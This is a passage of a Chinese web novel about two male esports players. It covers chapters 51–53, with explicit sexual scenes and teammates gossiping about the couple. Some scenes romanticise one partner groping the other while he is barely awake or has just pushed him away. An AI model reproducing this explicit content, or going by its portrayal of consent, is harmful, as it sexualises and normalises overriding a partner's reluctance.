那里平日里受到什么微弱刺激都会有反应。池一黎自己从来没有刻意去碰过,更别提这样被对待。想要继续开口说话,还想去推开他,但层层叠叠的刺激感经过神经传输到大脑,一时间浑身都开始颤抖起来,只会不断地疯狂掉下眼泪。 他眼睫湿漉漉,死死抿住嘴里即将消融完的糖果,把牧绍撑在身侧的右手袖口拽的更紧了点。 内衬被推到锁骨处堆积,露出一半瓷白,表面只是被大力触碰几下就已经印上暧昧红痕。队服外套还好好地摊开在身下压着,自上而下地看去,是一种界于纯洁和诱惑之间的混合感。池一黎彻底失去冷酷的凌厉神色,水润潮红飞速地爬上五官。 只是碰了下胸膛就这样,牧绍因为他的敏感诡异地被戳中兴奋点,他博览群文,仍旧是好奇的初次实践者,一边手上换角度摩挲,一边静静地这样观察着他,迟迟没有进行下一阶段的动作。 池一黎神色带着一种迷离的面无表情,唇瓣紧紧抿成一条线,一丝语气都不肯从嘴里泄露。这种反差感是平日里完全不可能被想象的,牧绍做梦时也没有梦到过这样香艳的场景。此刻从上居高临下地望去,他整个人显得异常脆弱,看起来像是哭的快要脱水。 是不是逗的实在太过?牧绍回忆了一下自己看过的情节,心里琢磨着是不是该收敛点,但他又还什么都没开始干……池一黎好像完全受不住这样的对待。 想了半秒,牧绍准备去拿床头柜上的水杯。他刚磨蹭且恋恋不舍地抽出手,直起身,袖口突然被一道力量紧紧扯住。 牧绍低头看下去,池一黎拽着他袖口的指尖微微发白,腿也被他夹紧。两个人对视上时,还带着泪珠的纤长睫毛微微颤动一瞬。 池一黎紧紧攥着他,面上的殷红一时半会褪不下去,眼泪已经渐渐不再掉下来。他想说什么,但从来没说过那种话。对于自己刚刚的表现感到难受,他不知道自己怎么了,一被碰到就是那副样子,完全克制不住被快感控制的情绪,脑海只剩下一片空白。 池一黎思绪混乱,垂下眼帘半晌没有开口。 牧绍迅速地俯下身在他唇上轻啄了一下,还没做成效就这样显著,是不是哪天上完床池一黎就会主动亲他,语气里不由得带着几分愉悦:“怎么了?突然这么黏人。” “我没想那样。”池一黎语气很低,语调沉稳。但是嗓音暗哑,带着微不可察还没缓过来的闷闷哭腔。 他把拽住牧绍袖口的手松开,下一秒又被环住腰压到胸膛上。 衣服还没有没拉下来,牧绍用脸蹭了蹭绵软的雪白,静静地停住动作抬头看他说:“我喜欢你这样。”顿了顿,他故意补充说:“好玩的池一黎……碰碰你,我就能玩好久。” 牧绍抬眼看过来的动作像小狗,叼着他的一点用牙齿轻轻磨了磨,池一黎刚抿唇去推他,还没有抬起手就开始微微颤栗,心里那一大堆的奇怪情绪顿时被单纯的一种所取代,那就是闭上嘴又不想说话了。 牧绍一看他冷下脸就知道他在想什么,撑起自己把他衣服拉下来。贴过去点点他的唇角,再亲上他的眼尾。笑意完全遮盖不住,懒散闷笑道:“亲爱的宝贝儿,你怎么又闹脾气啊。” 他这句话落下,不知道仿佛能独立思考的泪腺被哪一点触到,毫无征兆地,池一黎一瞬间又开始掉眼泪。 他眨眨模糊的眼睛,情绪已经毫无波澜,但喉咙微哑,只得尽量保持平日里的冷漠语气,抬眼认真地开口:“…我不好玩。”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 50-60 第51章 韩城第二天下午两点半起床, 洗漱完去酒店餐厅觅食。 他翻着手机程序软件点菜,状作不经意间路遇坐在窗边双人桌旁的池一黎和牧绍,顿时绷不住脸上的神情, 觉得全世界都开始天崩地塌。 两点二十三分,他起床的七分钟前,从松闵在联盟磕cp群——翻译过来就是没有池一黎和牧绍的群——艾特所有人去餐厅, 说终极对决结果已出,语气极为得意且高深莫测。庄路弥不解地发了个‘村长举枪问号’,徐克山回了个‘三水Q版哭哭’。 盯着那只把身体团在一起面无表情掉金豆豆的雪貂表情包, 韩城顿觉不好。 有股难以表述的老父亲心态浮上来, 怀着忐忑的心情,韩城和相约出门的庄路弥对视而立,不出意外地看到彼此眼中的凝重。 两点半, 这个时间点餐厅本应没什么人,更别提今天还是第二阶段赛程刚结束的放假第一天,四个被淘汰的队伍已经离开,其余选手没有聚餐的、一般会选择直接点外卖送到房间里。 但此刻一眼看过去, 不算替补, 总共就剩了四十个联盟选手,超过一半的人都在这坐着, 围绕着窗边的两位正主四散开来。要不是这家电竞酒店走酷炫简易风、餐厅摆放格局没有过多的阻挡,他们可能恨不得直接扒在台子上看。 韩城昨天晚上被庄路弥拽去聚餐, 牧绍刚比完赛就跑了,在群里发消息说他和池一黎都不去。秉着不打扰小情侣的原则,他们八个人、加上WQG和WGS的几个闹到半夜才回来。 中途真心话大冒险时十几个人轮着给他两打电话,两个人一个都没接。韩城被友军狠坑了一把,回来后沾枕头就睡, 完全忘记发消息问池一黎怎么没接电话。 “这世界真是操蛋疯了。”WQG打野极其不能接受,他不可置信道,“村长那副欠揍德行能找得到对象?” 他队长扶了下眼镜:“能。” “对象还他喵的是三水?” 他队长点头:“是的。” “我知道,沃日。” “但是他是攻这件事让我很难接受啊!”在他们看来,这个字异常霸气威武,象征着男人中的男人,WQG打野难以言喻地说,“家财万贯荣耀披身还能有对象,凭什么这小子这么一帆风顺?!” 一旁身在HWD心在ZKS的庄路弥下意识接话:“可能是因为——这可是牧绍吧。”话说出口,他感觉此刻的心情略微沉重:“天杀的,但我一点也不想叫他爹啊。” 池一黎眼尾还染着像是被欺负过一样的胭色,微长发丝散落下来,无辜掩住几分不好接近的刀锋冷硬。宽松的高领卫衣根本挡不住脖颈处密密麻麻的红,露出的手腕也满是糜烂痕迹,远远看着,在冷白色的皮肤上异常显眼。 他面前桌子上的饭还没动几口,就这样坐在那看牧绍吃。 韩城翻着电子菜单越看越是痛心:就算池一黎不吃,牧绍不会给他喂吗?!得到手就不珍惜了,这不是虐待是什么?!还故意拉他来餐厅吃饭,房间里按个铃让送上去不行吗?非得要池一黎下楼,好你个村长,这么想炫耀?! 韩城拉开牧绍的聊天框,把手机按的哐哐作响。 池一黎小他两岁,外表不拘言笑,但又乖又好说话,更别说还特别容易掉眼泪,队里所有人无一例外都很宠着。 身为一路并肩成长的七年挚友,好兄弟被这样欺负不说,选择的对象还是联盟出了名看不起人的嘴欠王者,他完全接受无能。 当然,如果兄弟是1的话就什么都好说。 不行,韩城转念又想,兄弟是1的话他仍然有点接受无能。 之前的云醒多好的啊,云醒看起那么纯良温柔的,就不会像牧绍这样对他。 韩城心里异常难受,这种层层递进的愤懑感如同是:父母刚觉得你之前看上的人不错,然后发现你转头就去当了野男人的娇妻。 从松闵端着杯子坐过来,看样子已经得意地绕场一圈,翘腿淡定地笑:“怎么样?都说了你们必输,那可是我哥们木勺。” “也不一定啊,”WQG队长站起来说:“现在直接下结论了?干脆去问下当事人吧。” “你干什么啊你要去问?我靠哥们你这么勇?!不行你不能去问,我偶像那么帅的那么酷的那么冰川般的一个人肯定现在受不得别人问话!” 肌肉猛男徐克山一把扯住他说:“如果我偶像其实心里非常不好意思呢?!我不允许你让我偶像不开心,你这不是戳我三水哥心头上了吗!” WQG队长从善如流地重新坐下。 白书罗沉吟片刻,完全不理解这场争斗:“你们这是怎么看出来的?” 韩城立刻转换思路点头。 说不定是牧绍爱咬人呢,再说这能看出什么,于是韩城说:“队长说得对啊,表象不是真理,从狗,你这个人太肤浅了。” 从松闵对此呵呵一声。 斜前方的八人桌吵吵闹闹,但离得太远,完全听不清他们在说什么。池一黎脸上没什么表情,手里握着一杯白桃味的气泡水。 牧绍哄他或多或少吃点,昨天六点到现在,不可能会觉得不饿。被池一黎摇头拒绝,解释道自己现在不太想吃,哭多了嗓音还是哑的。 他昨天不知道被缠到什么时候,掉了太多眼泪,意识昏昏沉沉的,起来时已经是下午两点。有点饿,但到了餐厅,感觉到眼睛发疼,喉咙也有点难受,让他暂时不想拿起筷子。 池一黎语气沉静冷酷:“我想吃会自己吃的。” 池一黎表情认真,像是在说‘今天开始我会自己吃东西’的造词填空小学生,牧绍看着他,心里浮现出愉悦笑意。 牧绍懒洋洋撑住脸说:“但是我想喂你。” 他舀了勺蛋糕送到池一黎嘴边,眼底带笑,就像在逗猫一样,用勺子轻轻碰了碰他的嘴唇。 池一黎定定看了他几秒,微张开嘴,甜腻的奶油在舌尖化开,他没什么胃口,但还是慢慢咽了下去。 这幕画面有种不切实际的虚幻感,心脏像是被什么东西堵住。牧绍昨天刚开始只是单纯想亲他,试探性地伸手摸进去,结果可参考池一黎那天晚上说的话,他真的完全不会拒绝自己。 想到这里,牧绍的嘴角忍不住上扬。他放下勺子,伸手轻轻捏了捏池一黎微凉的手腕。 池一黎最后还是随便吃了点。他把气泡水喝完,站起来准备回房间再继续补觉。牧绍刚刚想抓住他的手腕,转头看到韩城和从松闵不知道什么时候站到了旁边。 韩城脸色的神色极为复杂,从松闵倒是挑眉带笑,有着股看八卦的味道。 “你……”韩城张了张嘴,似乎想说点什么,但又不知道该从何说起。他的目光在池一黎和牧绍之间来回扫视,最后定格在池一黎脖子的那些痕迹上,眼神里充满了痛心疾首。 池一黎不解地抬了下眼皮。 韩城深吸了一口气,猛地转头看向牧绍,半天憋出来一句:“你一定要对三水好啊!混蛋!” 好像上次那篇同人文里的亲友团。牧绍挑眉笑起,牢牢牵住池一黎:“我当然会的。” 离得近了,那些痕迹看着更鲜艳几分,一时半会儿完全消不掉的样子。从松闵不赞同地开口:“你怎么下那么重的手?那些书上怎么说的……” 牧绍不过半秒就理解他的意思,觉得自己简直太冤。 池一黎皮肤太白,身上很容易留下痕迹,随便留个印都会感觉到触目惊心。 他不过是亲了几下、抓着他的手腕在身上到处咬了几口,再玩了一晚上胸而已。跟想实践的想法相比,压根还什么都没开始干,最后还是自己在浴室解决的。 毕竟池一黎一碰就掉眼泪,怕做些过分的他真的脱水,第一次就算再兴奋也硬生生止住了。 反正以后时间还长,也不差这一次,他怎么上下其手池一黎都由着他来。 池一黎简直不要太好说话。 好说话的池一黎因为嗓子发哑不想开口说话,只简单的“嗯”了一声。 韩城对着空气打了一段军体拳:“三水,他再像这样欺负你就打回去啊!实在不行我帮你揍他!” 池一黎看他张牙舞爪半晌,不理解怎么又思维跳跃到要被禁赛的打架上,但还是礼貌性回复,语调言简意赅:“没有欺负。” 他气质仍然如同冰块转世,目光自然垂落。要不是眼尾还点着红,完全是十分不容置疑且容不得别人不信的一番话。 为了防止他下一句再说出什么‘我其实是1’之类的话,从松闵在一旁迅速拍拍韩城的肩:“这是人家小情侣的事,你就别掺和了。” 现在倒‘这是人家小情侣的事’上了,平时除了庄路弥八卦的最欢的就是你。韩城不屑和这个狗玩意说话。 往旁边扫一眼,其他人鬼鬼祟祟地围着站了一圈在听墙角,手指在屏幕上打出残影。 牧绍挑眉道:“你们够了啊。” 池一黎扫过一圈,面无表情地点头示意。看到那些人顿时僵住身体慌忙收起手机,不知道还以为这些人集体被什么洪水猛兽盯住。池一黎淡淡移开视线,被牧绍牵着离开餐厅。 回到房间后,他径直走到床边,把自己窝到被子里准备补觉。 一回生二回熟,牧绍脱了外套不请自来地钻进去,隔着他的卫衣环住腰把他抱到怀里。 “怎么不脱衣服就睡?”牧绍嘴里还含了块刚拆开的蓝莓味糖,咬碎了凑过去笑问,“这么困吗?” 牧绍这张眉宇微挑的帅脸过于有冲击力,池一黎闭上眼睛:“还好。” 池一黎这副样子看起来太乖,长长的睫毛在眼下投下一片淡淡的阴影,随着呼吸轻轻颤动。 牧绍盯了一会儿,把头埋到他颈窝里蹭了蹭:“你睡吧,我要亲你了。” 听到这句话,池一黎从喉咙发出沉闷声音嗯了一声,预想到的吻却很久都没有落下。刚觉得有些困意,一双手又熟练地摸到他衣服里。 指腹隔着卡通创可贴捏了捏硕大的颗粒,又软又弹,像Q-Q糖。创可贴是牧绍趁着他还没醒来时贴上的,说不然会被衣服布料磨的难受,池一黎穿衣服时低头,看到斑驳一片的可怖胸膛,没有表示出什么反应。 Q-Q糖被含了一晚上,虽然还是非常敏感,身体会反条件地微颤,但拥有了耐造性,不至于按一下就会刺激到意识不清。 牧绍的动作极为缓慢,指尖轻轻捏住创可贴的边缘,一点一点把它剥开。 就在他准备将整个手掌都覆上去,想要继续浅浅揉捏的时候,池一黎突然睁开眼睛看着他。 浅色的眸瞳灰蒙蒙,他睫毛微颤,伸出手轻轻推了下牧绍,力道不大,说话的语气很低:“我好困,不想再掉眼泪。” 第52章 池一黎一觉睡到晚上八点。 房间里很暗, 只有他一个人。依稀能看到拐角阳台处透出的黄色暖光,细碎的声响从那边传来,不知道牧绍这个时候在阳台干什么。 头顶的空调在吹暖风, 身上的卫衣已经被脱下来,池一黎赤条条地躺在绵软的被子里,对着墙上的时钟眨了眨眼, 眼尾还带着点湿意,却没有再像下午那样浑身难受。 床头的水杯是满的。池一黎坐起来握到手里,被子顺势滑落下去。没有创可贴的防护, 茱萸因布料摩擦而自然挺立。 枕头旁放着一套白色的西装, 被池一黎随意略过。他叼着吸管咽下一口水,用手指轻轻碰了下雪白胸肌上丝毫没有变浅趋势的咬痕。牙印的轮廓能被摸出来,看起来是被狠狠咬了一口。 牧绍还在阳台里走来走去, 皮鞋底踩在瓷砖地面上的声音在空旷安静的房间里回响,池一黎打开手机,皇帝批奏折一样简洁明了地回完所有消息,把杯子里的水喝完下床。 他站起来走到衣柜前, 拉开柜门拿出几件衣服, 侧身时冷不丁扫过一眼,在镜子里看到自己大腿内侧两道清晰的指痕。 这痕迹太新, 下午睡醒穿衣服时还没有出现。指痕的边缘泛着些许红晕,池一黎下意识伸手摸上去, 轻微的刺痛从深处传来,周围的皮肤才反应过来一样开始微微发烫。 画面一闪而过,他意识模模糊糊,睡得眼睛半睁不睁,实在是太困, 只能被迫地由着牧绍一边吻他一边用手掐住他的大腿内侧。 那只手的指腹上藏着微弱的茧,动作十分轻柔,捏的池一黎无意识并紧双腿把它夹住,唇瓣被又舔又啄,留下一连串湿漉漉的触感。 池一黎的头脑晕乎乎,画面雾蒙蒙的,视野像是被眼泪遮盖,呼吸都带着一股蓝莓味酒心糖果的味道。 回忆到这里结束,池一黎迅速缩回手,站在镜子前,低下头没什么表情地滞留了半晌,转身拿起一旁的衣服进了浴室。 水声哗啦啦响起,牧绍走过来的声响由远及近,再停到浴室门口没了动静。 池一黎关了水把头发吹干,穿着身新简洁黑颜色的卫衣出来,抬眼看到牧绍西装革履地抱着花站在那里。 牧绍为人顽劣,说话也缺乏正经。长相属于那种硬帅的痞,认识这么久来不是潮流就是朋克链条,池一黎还是第一次看他穿的这么正式。 连头发也向后梳起,后背刘海发型使他消褪几分不着调的劲,有些过于英气逼人。 牧绍略微倾身凑到他耳边,自然地将花塞到他的手里,开口立刻原形毕露,懒洋洋道:“起来怎么不叫我。” 红色玫瑰花实在很大一捧,但今天既不是任何节日,也不是谁夺冠需要纪念的日子。池一黎不解地问:“你这是做什么?” “你说游戏里你答应的算数,”牧绍噙着笑回答,“可我想,我还欠一个正式的告白。” 第二阶段赛程后的一周休假期,他从来的第一天就开始规划。变化远比计划要更加称心如意,所以没有训练的日子,要将这件事情提到首要进程。 毕竟他一开始其实,想的是国内赛结束池一黎才会开始回应自己。 但池一黎看样子也喜欢他,还只会因为他一个人情绪波动。恋爱顾问伍于起一开始就推测的是半年之内必有分晓。 半年,包含漫长的休赛期,就只有一场比赛能够见面。书上说不能急功利切,牧绍还猜想了其他几种可能的稳妥情况。 唯一没有算好的,是见面时行动比思维要快,自己根本忍不住不占便宜。 池一黎的头发微长,此刻凌乱地自然形成四六微分,眉目凌厉,骨相分明的五官淡到与雪没有两样。 他低下头看花不说话,鼻梁上的那点痣都透着疏离的冰感。 但抬眼那刹,泛起浅淡涟漪的烟灰色眸瞳冲散掉冷意。嘴角微微勾着点弧度,带着不经意间透露出的柔软,将所有的冷峻与冰冽融化成一池春水,整个人随之鲜活起来,远比手中的花更要惊艳几分。 牧绍措手不及地微微愣住一瞬。手比大脑反应还快,呆愣半秒之际,已经把池一黎扣着腰揽在怀里。 阳台是单侧玻璃门,能看到外面,外面却看不到里面。 圆桌上的烛光晚餐摆盘精致,角落里堆叠着一些角色周边、一套印着池一黎名字和形象的定制键帽和机械键盘、三块不同样式的奢侈品牌手表和一条领带,还有大大小小盒子里的其他什么东西。 “我和你一起换衣服?”花被放在一边,牧绍的手顺着卫衣下摆摸进去,一路摩挲着握住他的腰侧,皮肤细腻,轻轻用力能摸到微微凹陷的骨骼。 见到池一黎身体微颤一瞬后抿住唇,牧绍又立刻改口道:“这身就可以,反正我们就在房间里。还是不换衣服好了,我喜欢你这身卫衣。” 如果是西装的话,就不能像这样随时被他摸进去了。 牧绍这番话过于自相矛盾。他西装笔挺,又说不用换也可以。到底是什么一点也拿不准。 这一切都是他布置的,池一黎还是决定尊重他的意见,开口问清楚他:“你想要换西装还是…?” 牧绍毫不犹豫地脱口回答:“我更想要你穿女仆装。”这句话完,他没有停顿地继续补充,“还想要最近我刷到那些同人图里的……” 这张嘴一会儿就飘到其他地方,池一黎不接这句话。 他转过头,牧绍又贴过来到他耳畔,低声道:“其实不穿也可以,我都想看。” 牧绍扣住他的手微微用力,摸够后松了力道,两个人挨着坐在圆桌旁。 阳台没有拉窗帘,能清楚看到窗外夜景灯光通明。池一黎虽然没有很高的羞耻感,但也做不到不穿衣服吃饭。 他把牧绍的试探玩笑话当真,思索了几秒后,看着桌上的牛排,拿起刀叉,谨慎地说:“可以等吃完饭。” “等吃完饭干什么,衣服吗?”牧绍听出他这番话的意思,故意接着问,“还是什么都可以。” 池一黎又陷入思考,眉宇间微微蹙起,神色冷酷深邃。不知道想到了什么,他慢慢开口回答:“什么都可以。” 话虽然是这样说,但池一黎再次被他压在身下时,还是因为他的动作不断地疯狂掉眼泪。 嘴里被牧绍塞了一块橘子味的硬糖,接吻时过甜的味道在空气蔓延,整个人是被面点师傅揉捏成不同样式的面团,思维全部进入混乱。 _在空气中微微波动,斑驳的柔软自然下垂,细微颤抖时,似乎 牧绍的手从背后圈来,恶劣地抬手揪了一下。 在触碰到的那一刻,池一黎垂下眸,睫毛沾满泪珠,呼吸变得更加絮乱,险些咬不住要从舌尖滑落的糖果。 牧绍什么都还没有开始做,他就已经因为其他地方的触碰敏感地晕作一团,下意识把自己蜷缩起来。 看着这副潮红色的面容,牧绍紧紧地贴上他微弓的背,张嘴咬在后者的后颈处闷笑:“池一黎,你怎么这么好玩。” 池一黎眨着雾气弥漫的眼睛,视野无比涣散,看到眼泪止不住地掉在眼前的被子上。想反驳说我不好玩,却只从喉咙里发出几声细微的哭腔。 牧绍手指经过的地方、滚烫贴近的地方,一切都在使他这幅身体控制不住地抖动。 瓷白色的皮肤从上到下都透着微红,池一黎短暂被触碰到就开始颤栗,甜腻的糖果融化完糊在喉咙里,勉强能发出几道气音。 直到牧绍贴着他的腿开始动作后,连支撑住自己的手都一瞬间被卸去力气。 平日里宛若冰川般冷酷的脸被迫贴在被单上,欲色层层叠叠地反复沾染这副躯体。牧绍的动作毫无章法,这里用牙齿磨一下,那里轻轻咬一下,妄图想要找他身上所有的敏感点。 被面对面碰的太狠时,池一黎就会紧紧地攥着他的衣袖将身体贴过来,哪怕身体已经根本受不住也会强撑着靠近他,单用手撑不住自己、想环住脖子时还会无意识间跟着叫一句牧绍喜欢的称呼。 但如果是背对着的,池一黎只会抿着唇把自己埋到被子里一直沉默地颤抖着掉眼泪,一点声音也不发出来,什么时候脱水到一滴眼泪也流不出来都不知道。 等到一切结束时,牧绍的目光扫过池一黎的脸。后者因为他的行为失神迷离,微微张开嘴模糊地蹦出暧昧的音节,已经哭的完全喘不过气。 牧绍随手拿过放在手边的水杯,扣开盖仰头含下最后一口,伸手掰过池一黎的脸,毫不犹豫地将自己的唇贴上去,强硬的撬开他的牙关渡到他嘴里,再看着确保他将水全都咽下去。 池一黎的杯子自带吸管,一开始牧绍还没打算这样占便宜,只是把吸管塞到他嘴里让他自己喝。 但是池一黎敏感地一直不停发抖,就算嘴里没有再咬着糖果,也仍然闭着嘴唇拒绝任何东西的侵入,连喝水这个简单的动作都完成不了。 池一黎咽下水,脱力般的侧躺在那里,眼睛半阖地看他,睫毛上挂着的几滴泪珠,缓慢地随着慢半拍眨眼的动作掉落。 牧绍凑过去再次讨好般的亲亲他,低声说道:“我下次肯定不会这样了。” 池一黎刚刚从余韵中恢复过来,身体仍带着未散的酥麻感。他的呼吸还未完全平复,斑驳的胸口随着喘息微微起伏,嗓音沙哑,在这个状态下根本说不出一句完整的话。 他微微讨厌,用带着水汽的灰色眸子盯着牧绍近在咫尺的脸,半晌微不可察地浅浅“嗯”了一声,伸手攥住了他袖口的布料。 第53章 休赛期明面上看起来有整整五天, 但第二天就开始朝九晚十,抛去训练直播复盘和睡觉,真正算下来真实的休息时间少得可怜。 老梁把赛训团队计算出的赛前四天科学作息表转发到群里, 韩城囫囵吞枣地读了一遍,不解问道:“怎么这表上睡觉没算在休息时间里?” 庄路弥接话:“睡觉是人体自然的需求,是每个人都要进行的行为, 和吃饭一样是必须的活动,不能算在休息时间里,因为……” 他编到一半编不下去, 语气悲壮地哽咽道, “你看三点水昨天像是有休息过的样子吗?” 提及池一黎,一行人在房间里顿时陷入沉默。 早上九点集合,牧绍串门帮池一黎请了半天假, 态度异常规矩和谐,整个人容光焕发。常年挂在嘴角的那抹笑意透着懒散顽劣,在韩城眼里看起来极其欠揍。 下午两点,池一黎和他一起来了, 神色气质仍然冰到冷酷, 除过和前一天见面时相比更融化开来的眼神外看起来完全没有异样,就是走路速度慢到堪称八九十岁老人般稳健。 皱眉时也是能走快的。但池一黎的身体实在过于敏感, 被牧绍毫不收敛地从上到下都揉了一遍,现在正处于一动就会受到外界感官刺激的状态。 醒来时, 那块皮肤微微发肿。走路也会感觉到一片刺痛,动作间任何微弱的触感都被无限放大。好在因为已经涂抹过药,看着没有过于可怖。 池一黎的状态看起来一碰就会直接掉落泪珠,牧绍不想让除了自己外的任何人看见,没在外面耍任何流氓, 安分地在他旁边坐到晚上回酒店。 一回到房间,牧绍就立刻换了一副样子,池一黎打弱智小游戏时还要坐在后方圈住他,顺着宽松的队服一路向上探去。 手指轻微抚过中午才贴上的创可贴,刚刚碰到,就因为茱 池一黎鼠标都快要被他的动作弄得脱手,幸好弱智游戏不需要进行什么思考,他身体微颤地抿唇点完了所有提示,转头开口刚想说些什么,就被牧绍捞起来压在桌子上。 键盘被移动开,后背几乎都要压到电脑显示屏,池一黎反手撑着桌子上,为了不撞到屏幕而向前微微直起腰。胸口处的曲线紧贴着布料,伴随着呼吸微微起伏,完美地展现出柔软的圆润弧度。〖这段话没有肢体接触。〗 牧绍贴着他的胸膛凑过来,作势要吻他,池一黎下意识微微松开嘴,方便他能轻而易举地侵入,不至于绕着自己的唇瓣反复啃咬。 牧绍瞧见他的动作,忍俊不禁地说你怎么这么主动,就不客气地顶开牙关攻占城池。 暧昧的氛围在寂静的室内蔓延,牧绍松开他,看到池一黎垂下眼睑微微张开嘴呼吸,发丝凌乱的落在眼尾,薄红半遮半掩,鼻梁上的那一点痣都变得像是在引诱。 牧绍抬起手,将衣服下摆试探性地递到他嘴边。 池一黎半眨着烟灰色的眸瞳,水雾雾地盯着牧绍的脸看了几秒,不知道在想些什么,慢慢地张嘴咬住自己的衣服。 牧绍低下头含住轻轻磨了磨,伴随着痒意不断传来,池一黎眨眼时凝出几道泪光,竭力克制住想要推开他的动作,手指用力地紧紧握住桌子边缘。 * 转移阵地后不知道多久,牧绍用脑袋蹭着他的脖颈哄他改微信昵称。池一黎被他抱在怀里,因为他的动作而感到难耐无比。 牧绍贴在他背后,池一黎看不到他的脸,细碎的哭腔半止在咽喉,随着耳畔温热的说话声,喉结微微一颤,只得呜咽着点头。 纤长的眼睫像扇子一样落下,牧绍把手机放到他眼前,看着池一黎点开个人资料,再点击名字那一栏。他的动作不慢,但是错误频出。明星职业选手的手指被快感刺激到控制不住,点了好几下都错点到上下两行。 牧绍的身体与他紧贴在一起,用左手按着他的右侧胸膛,把他整个人都圈在自己怀里。他将下巴放在池一黎微微抖动的肩膀上,就这样安安静静地盯着他操作。 池一黎的眼泪掉在屏幕上,飞快地沾湿了一大片屏幕,他模糊不清地凭着记忆用二十六键打字。哪知道触碰按键遇水失灵,反而越拼越乱。而贴着他的牧绍一点也没有帮忙的意图,只是咬着他的后颈有一下没一下地乱蹭。 他用手指抹开屏幕上的水滴,受不住地闭上眼睛低声喊牧绍的名字,忘记问要给他备注什么。语调中带着暧昧不清的破碎哭腔。 想要移动,又被 牧绍拉过一旁的被子把屏幕擦干净,伸手覆盖池一黎的右手手背,点击屏幕换成手写输入。他握着池一黎的食指指节,一笔一划地在原本的昵称后边补写上:【(男朋友牧绍专属版)】。 写完后牧绍贴住他耳朵,捏了捏手下的绵软问他怎么读,池一黎滚着泪珠,呜咽着哑声喊了一句男朋友。 牧绍满意地退出个人资料,点到聊天界面,继续点开自己,看到自己几分钟前刚改的【AAA池一黎男朋友(唯一特殊版)】昵称,握着他的手指设置置顶联系人,又一个字一个字地改了备注。 一切都设置完后,他揽住池一黎,左手点着最下方的“按下说话”,右手捏着池一黎的指节,指着其中的两个字让池一黎继续叫他。 牧绍改的备注太长,一连串的字体占满了视野,池一黎觉得画面雾蒙蒙,分辨了半天,只能看清楚牧绍指着的最简单的那两个字。他凝了凝神,另一只手的手心攥着身下的布料,目光涣散又凝结,头脑发晕,如他所愿地低声读了出来。 牧绍一瞬间尝空气都是甜的,把手机关上扔到旁边,把他转了个身正对着自己,洋洋勾唇,贴过去咬住他的唇瓣。 动作间池一黎整个人仍旧抖个不停,看着他又想环住他的脖子,支撑着自己的腿都要软到并不住,控制不住地的掉着眼泪伸出手。牧绍故意侧头躲了一下,看到他转而攥着自己的衣袖,眼泪砸到红痕遍布的胸膛上。 牧绍不让他抱,池一黎脑海思维混乱,身体处于受到刺激的恐怖感觉,急需一个可以让他依靠住的东西。模模糊糊地说了很多他喜欢听的词语,直到有些哭到喘不过来气,平日里面无表情的脸上一片迷离。 池一黎需要他,牧绍因为这个认知得意又心软,愉悦地一塌糊涂,不紧不慢地倾过去,俯身让他抱住自己的脖子。 害怕再次经历G-C时突然被整个抱起来腾空的失重,池一黎没有聚焦地盯着前方桌子上的小物件,失神地眨了眨眼,学着庄路弥白天给他发的视频里那些人的样子,双手紧紧捏住牧绍的肩膀,后腰因被牧绍内扣而微微塌下,凑到他耳边,用很低地声音娇-喘出声。 喷出的热气就在耳廓,刻意夹起的撒娇音节顺着外耳道一路侵袭,经过耳蜗后钻入心脏,又在脑海里炸开。牧绍喉结滚动,呼吸也不由得霍然加重。 虽然前几次里,池一黎不说话时偶尔发出的崩溃呜咽就已经十分令人血脉喷张,但这一声像是某种隐秘的邀请,充满了欲望与情涩。牧绍贴着他,情难自禁地哑声哄着他再叫几声。 池一黎把脸埋到他的脖颈处,只不断地掉着眼泪不说话,被捏的实在受不住,才低喘着,很小声地把嘴张开发出声音。 刚刚放到一旁的手机在被子上嗡嗡作响,池一黎的手机点开屏幕就能看到收到的消息,全是联盟群里的人在胡乱艾特。都是些没什么营养的话题,牧绍随手把它设置静音,防止它把池一黎本来就小的声音挡住。 池一黎六年来昵称一直是能表明身份的【三水】,所以对于后面突然补充括号这件事,即使时间是在凌晨,仍然飞速地引起大规模讨论。 联盟群里那些妄图熬夜飞升的大罗金仙们震惊不已,下意识艾特牧绍调侃,发现他的昵称不知道什么时候从【你怎么知道池一黎喜欢我】变成了配套的情侣名。如此网络小学生,于是一堆年轻单身狗开始一边换着花样艾特他们一边冲浪八卦。 庄路弥看完小说准备睡觉,习惯性地刷了下论坛,看到一个名叫《人在大联盟,我同事那两个小学生能不能别秀了?!》的热帖,刷新一下就迅速前缀hot后缀加精。 他大惊,迅速点开各种大群小群,看到池一黎新改的昵称,被每个群雷同的齐刷刷艾特刷屏,内容统一复制,看着极其整齐。 韩城在每个群后面都切断队形发了一个〖……〗,把名字改成【联盟第一公主上单守护者】,头像是个拄锄头的农夫问他种的白菜被谁拿了的疑惑表情包。 徐克山在群里回了六个点,回复他:〖韩狗你放弃挣扎罢!身为世界第一强队的公认家属,三水已然爱上我们木勺,今天起正式归属我们ZKS了!〗 什么叫归属?!最后一句好狠毒的一句话。 庄路弥默默把名字改成了【世界第一磕学家(池牧美满版)】,背景图换成了‘逆家都去死’,下坠一行红色大字:‘此处特指ZKS’。 刚刚改完就被从松闵艾特出来,双方人马的大战一触即发。 主席老周在群里发了一朵玫瑰花,又发了个祝贺表情包,配字〖大联盟战队一家亲嘛〗,双方人马又迅速熄火。 牧绍没有闹到很晚,池一黎第三天早上被他牵着去场馆,路过的熟人选手全都拿着手机予以眼神复杂的注目礼。 美美睡了一晚上,才看到群消息的WQG打野叹气后又是叹气,指着群里的情侣名大呼:“世道险恶,高冷酷哥何致如此?!” 他用地铁老人的表情看几秒手机,点击池一黎主页把他昵称备注回原来的【好玩的三水】,又改成【人好玩被狗欺】,接着点开牧绍的主页,从【这可是木勺】改成了【这可是只狗】。 冯宙和他走在一起,即使面上还是不屑的臭屁表情,但十九岁的年幼心灵受到了极大的震撼。 进训练室前,从松闵于心不忍地绕过来问了一句,说要不要他们给牧绍再加点训练量,看来这小子真的太闲了。 池一黎慢半拍地思考了一下,反应过来他的意思后摇了摇头。 牧绍整整五天都一直赖在池一黎房间不走。所幸酒店的床够大,即使牧绍非要抱着他睡,两个人也不会感觉到太过拥挤。 他也就只有前两天过分了点,后面几天满训太累,牧绍也只是单纯搂着他睡觉,最多手不安分地捏一会儿上边,捏够了再捏一会儿下面。 牧绍说话满嘴跑火车,刚说出口的话下一秒就飞速反悔过于正常。和他第一天下午才说慢慢来,然后晚上就将人吃抹干净一样。他前一天刚说要克制住自己不能过于频繁,后一天转身就缠着池一黎比完赛陪他玩同人文play,池一黎答应后,又把他搂在怀里,哄着他过几天穿女仆装给自己看。 